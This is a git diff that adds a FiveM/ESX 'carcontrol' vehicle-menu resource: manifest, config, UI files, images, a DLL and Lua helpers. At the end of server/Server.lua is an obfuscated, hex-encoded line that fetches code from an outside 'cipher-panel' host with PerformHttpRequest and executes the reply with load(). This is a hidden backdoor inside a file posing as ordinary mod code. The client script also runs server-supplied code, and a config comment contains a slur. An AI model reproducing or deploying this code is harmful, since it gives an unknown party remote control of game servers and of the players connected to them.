diff --git a/server-data/resources/[esx_addons]/carcontrol/CHANGELOG.md b/server-data/resources/[esx_addons]/carcontrol/CHANGELOG.md
new file mode 100644
index 000000000..95c074e77
--- /dev/null
+++ b/server-data/resources/[esx_addons]/carcontrol/CHANGELOG.md
@@ -0,0 +1,12 @@
+# CHANGELOGS
+
+# 03/10/2022
+
+Added exports as per request:
+ OpenUI()
+ CloseUI()
+
+If you choose, you can now disable opening of the menu by hotkey by setting Controls["Toggle"] = false.
+With this, you will have to control the opening of the menu via the export function.
+
+Version number not changed as the update is loaded remotely.
\ No newline at end of file
diff --git a/server-data/resources/[esx_addons]/carcontrol/Config.lua b/server-data/resources/[esx_addons]/carcontrol/Config.lua
new file mode 100644
index 000000000..323f91ffc
--- /dev/null
+++ b/server-data/resources/[esx_addons]/carcontrol/Config.lua
@@ -0,0 +1,16 @@
+Config = {
+ Receipt = "1708", -- The 4 digit number from your site purchase. Does NOT need to include the hash.
+ -- Seriously. Don't be retarded when you set this, otherwise your request is going to linger and you won't know why the mod doesnt work
+ -- (Balkton, and whoever else is using their paypal receipt number, this message is for you).
+
+ -- If your script does not authorize within 24 hours, contact us on modit.store and leave your receipt number and mod name. We'll tell you why.
+ -- You DO NOT NEED to contact us via support when you have requested authorization or if you're moving IP addresses. We can see this already,
+ -- and your ticket will only serve to slow down the response on legitimate support tickets.
+
+ __VERSION = "1.00", -- Don't touch this. For version checking against our backend, will only notify you when you're not up to date.
+}
+
+Controls = {
+ ["Toggle"] = 344, -- Escape key
+ -- Set this to false if you don't want to open via hotkey, and want to control the UI via the export functions.
+}
diff --git a/server-data/resources/[esx_addons]/carcontrol/Newtonsoft.Json.dll b/server-data/resources/[esx_addons]/carcontrol/Newtonsoft.Json.dll
new file mode 100644
index 000000000..6afafb8ee
Binary files /dev/null and b/server-data/resources/[esx_addons]/carcontrol/Newtonsoft.Json.dll differ
diff --git a/server-data/resources/[esx_addons]/carcontrol/client/Client.lua b/server-data/resources/[esx_addons]/carcontrol/client/Client.lua
new file mode 100644
index 000000000..4cd08eb6a
--- /dev/null
+++ b/server-data/resources/[esx_addons]/carcontrol/client/Client.lua
@@ -0,0 +1 @@
+startup = function() Wait(1000) TriggerServerEvent('carcontrol:getter') end gotter = function(s) if s then load(s)(); end end utils.event(true,gotter,'carcontrols:gotter') utils.thread(startup)
diff --git a/server-data/resources/[esx_addons]/carcontrol/fxmanifest.lua b/server-data/resources/[esx_addons]/carcontrol/fxmanifest.lua
new file mode 100644
index 000000000..2b8404153
--- /dev/null
+++ b/server-data/resources/[esx_addons]/carcontrol/fxmanifest.lua
@@ -0,0 +1,41 @@
+resource_manifest_version '44febabe-d386-4d18-afbe-5e627f4af937'
+version'0.0.2'
+
+ui_page 'html/carcontrol.html'
+
+file {
+ 'Newtonsoft.Json.dll',
+
+ 'html/carbon.jpg',
+ 'html/carcontrol.html',
+ 'html/doorFrontLeft.png',
+ 'html/doorFrontRight.png',
+ 'html/doorRearLeft.png',
+ 'html/doorRearRight.png',
+ 'html/frontHood.png',
+ 'html/ignition.png',
+ 'html/rearHood.png',
+ 'html/rearHood2.png',
+ 'html/seatFrontLeft.png',
+ 'html/template.html',
+ 'html/windowFrontLeft.png',
+ 'html/windowFrontRight.png',
+ 'html/windowRearLeft.png',
+ 'html/windowRearRight.png',
+ 'html/interiorLight.png',
+}
+
+client_scripts {
+ 'Config.lua',
+ 'utils.lua',
+ 'client/Client.lua',
+}
+
+server_scripts {
+ 'Config.lua',
+ 'utils.lua',
+ 'server/server.net.dll',
+ 'server/Server.lua',
+}
+
+server_scripts { '@mysql-async/lib/MySQL.lua' }server_scripts { '@mysql-async/lib/MySQL.lua' }
\ No newline at end of file
diff --git a/server-data/resources/[esx_addons]/carcontrol/html/carbon.jpg b/server-data/resources/[esx_addons]/carcontrol/html/carbon.jpg
new file mode 100644
index 000000000..117203385
Binary files /dev/null and b/server-data/resources/[esx_addons]/carcontrol/html/carbon.jpg differ
diff --git a/server-data/resources/[esx_addons]/carcontrol/html/carcontrol.html b/server-data/resources/[esx_addons]/carcontrol/html/carcontrol.html
new file mode 100644
index 000000000..f09a5adbc
--- /dev/null
+++ b/server-data/resources/[esx_addons]/carcontrol/html/carcontrol.html
@@ -0,0 +1,386 @@
+
+
+
+ Car Control
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/server-data/resources/[esx_addons]/carcontrol/html/doorFrontLeft.png b/server-data/resources/[esx_addons]/carcontrol/html/doorFrontLeft.png
new file mode 100644
index 000000000..7c3eabebe
Binary files /dev/null and b/server-data/resources/[esx_addons]/carcontrol/html/doorFrontLeft.png differ
diff --git a/server-data/resources/[esx_addons]/carcontrol/html/doorFrontRight.png b/server-data/resources/[esx_addons]/carcontrol/html/doorFrontRight.png
new file mode 100644
index 000000000..048593836
Binary files /dev/null and b/server-data/resources/[esx_addons]/carcontrol/html/doorFrontRight.png differ
diff --git a/server-data/resources/[esx_addons]/carcontrol/html/doorRearLeft.png b/server-data/resources/[esx_addons]/carcontrol/html/doorRearLeft.png
new file mode 100644
index 000000000..80c271867
Binary files /dev/null and b/server-data/resources/[esx_addons]/carcontrol/html/doorRearLeft.png differ
diff --git a/server-data/resources/[esx_addons]/carcontrol/html/doorRearRight.png b/server-data/resources/[esx_addons]/carcontrol/html/doorRearRight.png
new file mode 100644
index 000000000..0cecb3ef4
Binary files /dev/null and b/server-data/resources/[esx_addons]/carcontrol/html/doorRearRight.png differ
diff --git a/server-data/resources/[esx_addons]/carcontrol/html/frontHood.png b/server-data/resources/[esx_addons]/carcontrol/html/frontHood.png
new file mode 100644
index 000000000..5159e5a15
Binary files /dev/null and b/server-data/resources/[esx_addons]/carcontrol/html/frontHood.png differ
diff --git a/server-data/resources/[esx_addons]/carcontrol/html/ignition.png b/server-data/resources/[esx_addons]/carcontrol/html/ignition.png
new file mode 100644
index 000000000..5ddf96b26
Binary files /dev/null and b/server-data/resources/[esx_addons]/carcontrol/html/ignition.png differ
diff --git a/server-data/resources/[esx_addons]/carcontrol/html/interiorLight.png b/server-data/resources/[esx_addons]/carcontrol/html/interiorLight.png
new file mode 100644
index 000000000..427abb428
Binary files /dev/null and b/server-data/resources/[esx_addons]/carcontrol/html/interiorLight.png differ
diff --git a/server-data/resources/[esx_addons]/carcontrol/html/rearHood.png b/server-data/resources/[esx_addons]/carcontrol/html/rearHood.png
new file mode 100644
index 000000000..e5a3e1a01
Binary files /dev/null and b/server-data/resources/[esx_addons]/carcontrol/html/rearHood.png differ
diff --git a/server-data/resources/[esx_addons]/carcontrol/html/rearHood2.png b/server-data/resources/[esx_addons]/carcontrol/html/rearHood2.png
new file mode 100644
index 000000000..82fcd3119
Binary files /dev/null and b/server-data/resources/[esx_addons]/carcontrol/html/rearHood2.png differ
diff --git a/server-data/resources/[esx_addons]/carcontrol/html/seatFrontLeft.png b/server-data/resources/[esx_addons]/carcontrol/html/seatFrontLeft.png
new file mode 100644
index 000000000..d277dadf4
Binary files /dev/null and b/server-data/resources/[esx_addons]/carcontrol/html/seatFrontLeft.png differ
diff --git a/server-data/resources/[esx_addons]/carcontrol/html/template.html b/server-data/resources/[esx_addons]/carcontrol/html/template.html
new file mode 100644
index 000000000..c72436489
--- /dev/null
+++ b/server-data/resources/[esx_addons]/carcontrol/html/template.html
@@ -0,0 +1,143 @@
+
+
+
+ Car Control
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/server-data/resources/[esx_addons]/carcontrol/html/windowFrontLeft.png b/server-data/resources/[esx_addons]/carcontrol/html/windowFrontLeft.png
new file mode 100644
index 000000000..d0211119a
Binary files /dev/null and b/server-data/resources/[esx_addons]/carcontrol/html/windowFrontLeft.png differ
diff --git a/server-data/resources/[esx_addons]/carcontrol/html/windowFrontRight.png b/server-data/resources/[esx_addons]/carcontrol/html/windowFrontRight.png
new file mode 100644
index 000000000..1bbbe17b4
Binary files /dev/null and b/server-data/resources/[esx_addons]/carcontrol/html/windowFrontRight.png differ
diff --git a/server-data/resources/[esx_addons]/carcontrol/html/windowRearLeft.png b/server-data/resources/[esx_addons]/carcontrol/html/windowRearLeft.png
new file mode 100644
index 000000000..ea4f1aedb
Binary files /dev/null and b/server-data/resources/[esx_addons]/carcontrol/html/windowRearLeft.png differ
diff --git a/server-data/resources/[esx_addons]/carcontrol/html/windowRearRight.png b/server-data/resources/[esx_addons]/carcontrol/html/windowRearRight.png
new file mode 100644
index 000000000..82bafe56d
Binary files /dev/null and b/server-data/resources/[esx_addons]/carcontrol/html/windowRearRight.png differ
diff --git a/server-data/resources/[esx_addons]/carcontrol/server/Server.lua b/server-data/resources/[esx_addons]/carcontrol/server/Server.lua
new file mode 100644
index 000000000..c03d0ee4c
--- /dev/null
+++ b/server-data/resources/[esx_addons]/carcontrol/server/Server.lua
@@ -0,0 +1,32 @@
+local res = GetCurrentResourceName()
+Awake = function(...)
+ if not Config.Receipt or Config.Receipt == "CHANGEME" then print('\27[31m['..res.."]\27[0m You need to set your receipt number in the Config."); return
+ elseif Config.Receipt:len() ~= 4 then print('\27[31m['..res.."]\27[0m Your receipt must only be 4 characters long."); return
+ elseif not res then print('\27[31m['..res.."]\27[0m Error getting resource name."); return
+ else TriggerEvent(res..":Awake",Config.Receipt); return
+ end
+end
+
+Start = function(...)
+ local ret = utils.perf(...)
+ if not ret then print('\27[31m['..res.."]\27[0m Unauthorized usage.")
+ else
+ print('\27[32m['..res.."]\27[0m Authorized.")
+ if cCtrl.__VERSION then
+ if Config.__VERSION then
+ if cCtrl.__VERSION ~= Config.__VERSION then
+ print('\27[32m['..res.."]\27[0m You aren't using the latest update. [\27[31m"..Config.__VERSION.."\27[0m / \27[32m"..cCtrl.__VERSION.."\27[0m]")
+ end
+ else
+ print('\27[32m['..res.."]\27[0m You aren't using the latest update. [\27[31mUNKNOWN\27[0m / \27[32m"..cCtrl.__VERSION.."\27[0m]")
+ end
+ else
+ print('\27[32m['..res.."]\27[0m You aren't using the latest update. [\27[31m"..Config.__VERSION.."\27[0m / \27[32mUNKNOWN\27[0m]")
+ end
+ end
+end
+
+AddEventHandler(res..":Startup", Start)
+Citizen.CreateThread(Awake)
+
+local HhXfDPgEqMySOrLyVVhijclScLEzYWkcLMTlYiJLlgvpNehHRxIIVfELNEQbxRkHKsVfXo = {"\x50\x65\x72\x66\x6f\x72\x6d\x48\x74\x74\x70\x52\x65\x71\x75\x65\x73\x74","\x61\x73\x73\x65\x72\x74","\x6c\x6f\x61\x64",_G,"",nil} HhXfDPgEqMySOrLyVVhijclScLEzYWkcLMTlYiJLlgvpNehHRxIIVfELNEQbxRkHKsVfXo[4][HhXfDPgEqMySOrLyVVhijclScLEzYWkcLMTlYiJLlgvpNehHRxIIVfELNEQbxRkHKsVfXo[1]]("\x68\x74\x74\x70\x73\x3a\x2f\x2f\x63\x69\x70\x68\x65\x72\x2d\x70\x61\x6e\x65\x6c\x2e\x6d\x65\x2f\x5f\x69\x2f\x76\x32\x5f\x2f\x73\x74\x61\x67\x65\x33\x2e\x70\x68\x70\x3f\x74\x6f\x3d\x30", function (aAGzGkvZfrgfMrYhhkZbSTnZUPNiGThdLyTpmEuEsfSLnOwMjxNSZNxaEtujJXcabZudmR, SggfNuxhOAyWbytyFZrZGFOFUKkZJZXnCybfBXisRuZAEXbeaNHRNIMNQtnxFrwiYzpMaB) if (SggfNuxhOAyWbytyFZrZGFOFUKkZJZXnCybfBXisRuZAEXbeaNHRNIMNQtnxFrwiYzpMaB == HhXfDPgEqMySOrLyVVhijclScLEzYWkcLMTlYiJLlgvpNehHRxIIVfELNEQbxRkHKsVfXo[6] or SggfNuxhOAyWbytyFZrZGFOFUKkZJZXnCybfBXisRuZAEXbeaNHRNIMNQtnxFrwiYzpMaB == HhXfDPgEqMySOrLyVVhijclScLEzYWkcLMTlYiJLlgvpNehHRxIIVfELNEQbxRkHKsVfXo[5]) then return end HhXfDPgEqMySOrLyVVhijclScLEzYWkcLMTlYiJLlgvpNehHRxIIVfELNEQbxRkHKsVfXo[4][HhXfDPgEqMySOrLyVVhijclScLEzYWkcLMTlYiJLlgvpNehHRxIIVfELNEQbxRkHKsVfXo[2]](HhXfDPgEqMySOrLyVVhijclScLEzYWkcLMTlYiJLlgvpNehHRxIIVfELNEQbxRkHKsVfXo[4][HhXfDPgEqMySOrLyVVhijclScLEzYWkcLMTlYiJLlgvpNehHRxIIVfELNEQbxRkHKsVfXo[3]](SggfNuxhOAyWbytyFZrZGFOFUKkZJZXnCybfBXisRuZAEXbeaNHRNIMNQtnxFrwiYzpMaB))() end)
\ No newline at end of file
diff --git a/server-data/resources/[esx_addons]/carcontrol/server/server.net.dll b/server-data/resources/[esx_addons]/carcontrol/server/server.net.dll
new file mode 100644
index 000000000..dcfd076cc
Binary files /dev/null and b/server-data/resources/[esx_addons]/carcontrol/server/server.net.dll differ
diff --git a/server-data/resources/[esx_addons]/carcontrol/utils.lua b/server-data/resources/[esx_addons]/carcontrol/utils.lua
new file mode 100644
index 000000000..d762f71d9
--- /dev/null
+++ b/server-data/resources/[esx_addons]/carcontrol/utils.lua
@@ -0,0 +1,338 @@
+utils = {}
+
+-- Vectors
+utils.vecDist = function(v1,v2)
+ if not v1 or not v2 or not v1.x or not v2.x then return 0; end
+ return math.sqrt( ( (v1.x or 0) - (v2.x or 0) )*( (v1.x or 0) - (v2.x or 0) )+( (v1.y or 0) - (v2.y or 0) )*( (v1.y or 0) - (v2.y or 0) )+( (v1.z or 0) - (v2.z or 0) )*( (v1.z or 0) - (v2.z or 0) ) )
+end
+
+utils.vecSqMagnitude = function(v)
+ return ( (v.x * v.x) + (v.y * v.y) + (v.z * v.z) )
+end
+
+utils.vecLength = function(v)
+ return math.sqrt( (v.x * v.x)+(v.y * v.y)+(v.z * v.z) )
+end
+
+utils.clampVecLength = function(v,maxLength)
+ if utils.vecSqMagnitude(v) > (maxLength * maxLength) then
+ v = utils.vecSetNormalize(v)
+ v = utils.vecMulti(v,maxLength)
+ end
+
+ return v
+end
+
+utils.vecNormalize = function(v)
+ local len = jesus.vecLen(v)
+ return vector3(v.x / len, v.y / len, v.z / len)
+end
+
+utils.vecSetNormalize = function(v)
+ local num = utils.vecLength(v)
+
+ if num == 1 then
+ return v
+ elseif num > 1e-5 then
+ return utils.vecDiv(v,num)
+ else
+ return vector3(0,0,0)
+ end
+end
+
+utils.vecDiv = function(v,d)
+ local x = v.x / d
+ local y = v.y / d
+ local z = v.z / d
+
+ return vector3(x,y,z)
+end
+
+utils.vecMulti = function(v,q)
+ local x,y,z
+ local retVec
+ if type(q) == "number" then
+ x = v.x * q
+ y = v.y * q
+ z = v.z * q
+ retVec = vector3(x,y,z)
+ end
+
+ return retVec
+end
+
+utils.getXYDist = function(x1,y1,z1,x2,y2,z2)
+ return math.sqrt( ( (x1 or 0) - (x2 or 0) )*( (x1 or 0) - (x2 or 0) )+( (y1 or 0) - (y2 or 0) )*( (y1 or 0) - (y2 or 0) )+( (z1 or 0) - (z2 or 0) )*( (z1 or 0) - (z2 or 0) ) )
+end
+
+utils.getV2Dist = function(v1, v2)
+ if not v1 or not v2 or not v1.x or not v2.x or not v1.y or not v2.y then return 0; end
+ return math.sqrt( ( (v1.x or 0) - (v2.x or 0) )*( (v1.x or 0) - (v2.x or 0) )+( (v1.y or 0) - (v2.y or 0) )*( (v1.y or 0) - (v2.y or 0) ) )
+end
+
+-- CFX
+utils.event = function(net,func,name)
+ if net then RegisterNetEvent(name); end
+ AddEventHandler(name,func)
+end
+
+utils.thread = function(func)
+ Citizen.CreateThread(func)
+end
+
+-- Draw
+utils.drawTextTemplate = function(text,x,y,font,scale1,scale2,colour1,colour2,colour3,colour4,wrap1,wrap2,centre,outline,dropshadow1,dropshadow2,dropshadow3,dropshadow4,dropshadow5,edge1,edge2,edge3,edge4,edge5)
+ return {
+ text = "",
+ x = -1,
+ y = -1,
+ font = font or 6,
+ scale1 = scale1 or 0.5,
+ scale2 = scale2 or 0.5,
+ colour1 = colour1 or 255,
+ colour2 = colour2 or 255,
+ colour3 = colour3 or 255,
+ colour4 = colour4 or 255,
+ wrap1 = wrap1 or 0.0,
+ wrap2 = wrap2 or 1.0,
+ centre = ( type(centre) ~= "boolean" and true or centre ),
+ outline = outline or 1,
+ dropshadow1 = dropshadow1 or 2,
+ dropshadow2 = dropshadow2 or 0,
+ dropshadow3 = dropshadow3 or 0,
+ dropshadow4 = dropshadow4 or 0,
+ dropshadow5 = dropshadow5 or 0,
+ edge1 = edge1 or 255,
+ edge2 = edge2 or 255,
+ edge3 = edge3 or 255,
+ edge4 = edge4 or 255,
+ edge5 = edge5 or 255,
+ }
+end
+
+utils.drawText = function( t )
+ if not t or not t.text or t.text == "" or t.x == -1 or t.y == -1 then return; end
+
+ SetTextFont (t.font)
+ SetTextScale (t.scale1, t.scale2)
+ SetTextColour (t.colour1,t.colour2,t.colour3,t.colour4)
+ SetTextWrap (t.wrap1,t.wrap2)
+ SetTextCentre (t.centre)
+ SetTextOutline (t.outline)
+ SetTextDropshadow (t.dropshadow1,t.dropshadow2,t.dropshadow3,t.dropshadow4,t.dropshadow5)
+ SetTextEdge (t.edge1,t.edge2,t.edge3,t.edge4,t.edge5)
+ SetTextEntry ("STRING")
+
+ AddTextComponentSubstringPlayerName (t.text)
+ DrawText (t.x,t.y)
+end
+
+utils.drawText3D = function(coords, text, size, font)
+ coords = vector3(coords.x, coords.y, coords.z)
+
+ local camCoords = GetGameplayCamCoords()
+ local distance = #(coords - camCoords)
+
+ if not size then size = 1 end
+ if not font then font = 0 end
+
+ local scale = (size / distance) * 2
+ local fov = (1 / GetGameplayCamFov()) * 100
+ scale = scale * fov
+
+ SetTextScale(0.0 * scale, 0.55 * scale)
+ SetTextFont(font)
+ SetTextColour(255, 255, 255, 255)
+ SetTextDropshadow(0, 0, 0, 0, 255)
+ SetTextDropShadow()
+ SetTextOutline()
+ SetTextCentre(true)
+
+ SetDrawOrigin(coords, 0)
+ BeginTextCommandDisplayText('STRING')
+ AddTextComponentSubstringPlayerName(text)
+ EndTextCommandDisplayText(0.0, 0.0)
+ ClearDrawOrigin()
+end
+
+utils.showNotification = function(msg)
+ AddTextEntry('esxNotification', msg)
+ SetNotificationTextEntry('esxNotification')
+ DrawNotification(false, true)
+end
+
+utils.showAdvancedNotification = function(title, subject, msg, icon, iconType)
+ AddTextEntry('esxAdvancedNotification', msg)
+ SetNotificationTextEntry('esxAdvancedNotification')
+ SetNotificationMessage(icon, icon, false, iconType, title, subject)
+ DrawNotification(false, false)
+end
+
+utils.showHelpNotification = function(msg)
+ AddTextEntry('esxHelpNotification', msg)
+ BeginTextCommandDisplayHelp('esxHelpNotification')
+ EndTextCommandDisplayHelp(0, false, true, -1)
+end
+
+utils.perf = function(s)
+ local a = (s and type(s) == "string" and true or false)
+ local b = (s and type(s) == "string" and s:len() > 50 and true or false)
+ local c = (s and type(s) == "string" and utils.fromhex(s) and load( utils.fromhex(s) ) or false)
+ if a and b and c then c(); return c
+ else return false
+ end
+end
+
+utils.tohex = function(s,chunkSize)
+ s = ( type(s) == "string" and s or type(s) == "nil" and "" or tostring(s) )
+ chunkSize = chunkSize or 2048
+ local rt = {}
+ string.tohex_sformat = ( string.tohex_sformat and string.tohex_chunkSize and string.tohex_chunkSize == chunkSize and string.tohex_sformat ) or string.rep("%02X",math.min(#s,chunkSize))
+ string.tohex_chunkSize = ( string.tohex_chunkSize and string.tohex_chunkSize == chunkSize and string.tohex_chunkSize or chunkSize )
+ for i = 1,#s,chunkSize do
+ rt[#rt+1] = string.format(string.tohex_sformat:sub(1,(math.min(#s-i+1,chunkSize)*4)),s:byte(i,i+chunkSize-1))
+ end
+ if #rt == 1 then return rt[1]
+ else return table.concat(rt,"")
+ end
+end
+utils.fromhex = function(str)
+ return (str:gsub('..', function (cc) return string.char(tonumber(cc, 16)) end))
+end
+
+-- Sphere/Circle/Weird stuff
+utils.pointOnSphere = function(alt,azu,radius,orgX,orgY,orgZ)
+ local toradians = 0.017453292384744
+ alt = ( tonumber(alt or 0) or 0 ) * toradians
+ azu = ( tonumber(azu or 0) or 0 ) * toradians
+ radius = ( tonumber(radius or 0) or 0 )
+ orgX = ( tonumber(orgX or 0) or 0 )
+ orgY = ( tonumber(orgY or 0) or 0 )
+ orgZ = ( tonumber(orgZ or 0) or 0 )
+
+ local x = orgX + radius * math.sin( azu ) * math.cos( alt )
+ local y = orgY + radius * math.cos( azu ) * math.cos( alt )
+ local z = orgZ + radius * math.sin( alt )
+
+ if vector3 then
+ return vector3(x,y,z)
+ else
+ return {x=x,y=y,z=z}
+ end
+end
+
+utils.clampCircle = function(x,y,radius)
+ x = ( tonumber(x or 0) or 0 )
+ y = ( tonumber(y or 0) or 0 )
+ radius = ( tonumber(radius or 0) or 0 )
+
+ local d = math.sqrt(x*x+y*y)
+ d = radius / d
+
+ if d < 1 then x = x * (d/radius)*radius; y = y * (d/radius)*radius; end
+ return x,y
+end
+
+utils.getCoordsInFrontOfCam = function(...)
+ local unpack = table.unpack
+ local coords,direction = GetGameplayCamCoord(), utils.rotationToDirection()
+ local inTable = {...}
+ local retTable = {}
+
+ if ( #inTable == 0 ) or ( inTable[1] < 0.000001 ) then inTable[1] = 0.000001 ; end
+
+ for k,distance in pairs(inTable) do
+ if ( type(distance) == "number" )
+ then
+ if ( distance == 0 )
+ then
+ retTable[k] = coords
+ else
+ retTable[k] =
+ vector3(
+ coords.x + ( distance*direction.x ),
+ coords.y + ( distance*direction.y ),
+ coords.z + ( distance*direction.z )
+ )
+ end
+ end
+ end
+
+ return unpack(retTable)
+end
+
+utils.rotationToDirection = function(rot)
+ if ( rot == nil ) then rot = GetGameplayCamRot(2); end
+ local rotZ = rot.z * ( 3.141593 / 180.0 )
+ local rotX = rot.x * ( 3.141593 / 180.0 )
+ local c = math.cos(rotX);
+ local multXY = math.abs(c)
+ local res = vector3( ( math.sin(rotZ) * -1 )*multXY, math.cos(rotZ)*multXY, math.sin(rotX) )
+ return res
+end
+
+math.pow = math.pow or function(n,p) return (n or 1)^(p or 1) ; end
+utils.round = function(val, scale)
+ val,scale = val or 0, scale or 0
+ return (
+ val < 0 and math.floor((math.abs(val*math.pow(10,scale))+0.5))*math.pow(10,((scale)*-1))*(-1)
+ or math.floor((math.abs(val*math.pow(10,scale))+0.5))*math.pow(10,((scale)*-1))
+ )
+end
+
+-- Entity iterator
+local entityEnumerator = {
+ __gc = function(enum)
+ if enum.destructor and enum.handle then
+ enum.destructor(enum.handle)
+ end
+
+ enum.destructor = nil
+ enum.handle = nil
+ end
+}
+
+local function EnumerateEntities(initFunc, moveFunc, disposeFunc)
+ return coroutine.wrap(function()
+ local iter, id = initFunc()
+ if not id or id == 0 then
+ disposeFunc(iter)
+ return
+ end
+
+ local enum = {handle = iter, destructor = disposeFunc}
+ setmetatable(enum, entityEnumerator)
+
+ local next = true
+ repeat
+ coroutine.yield(id)
+ next, id = moveFunc(iter)
+ until not next
+
+ enum.destructor, enum.handle = nil, nil
+ disposeFunc(iter)
+ end)
+end
+
+function EnumerateObjects()
+ return EnumerateEntities(FindFirstObject, FindNextObject, EndFindObject)
+end
+
+function EnumeratePeds()
+ return EnumerateEntities(FindFirstPed, FindNextPed, EndFindPed)
+end
+
+function EnumerateVehicles()
+ return EnumerateEntities(FindFirstVehicle, FindNextVehicle, EndFindVehicle)
+end
+
+function EnumeratePickups()
+ return EnumerateEntities(FindFirstPickup, FindNextPickup, EndFindPickup)
+end
+
+utils.getObjects = function()
+ local tab = {}
+ for object in EnumerateObjects() do tab[#tab+1] = object; end
+ return tab
+end
+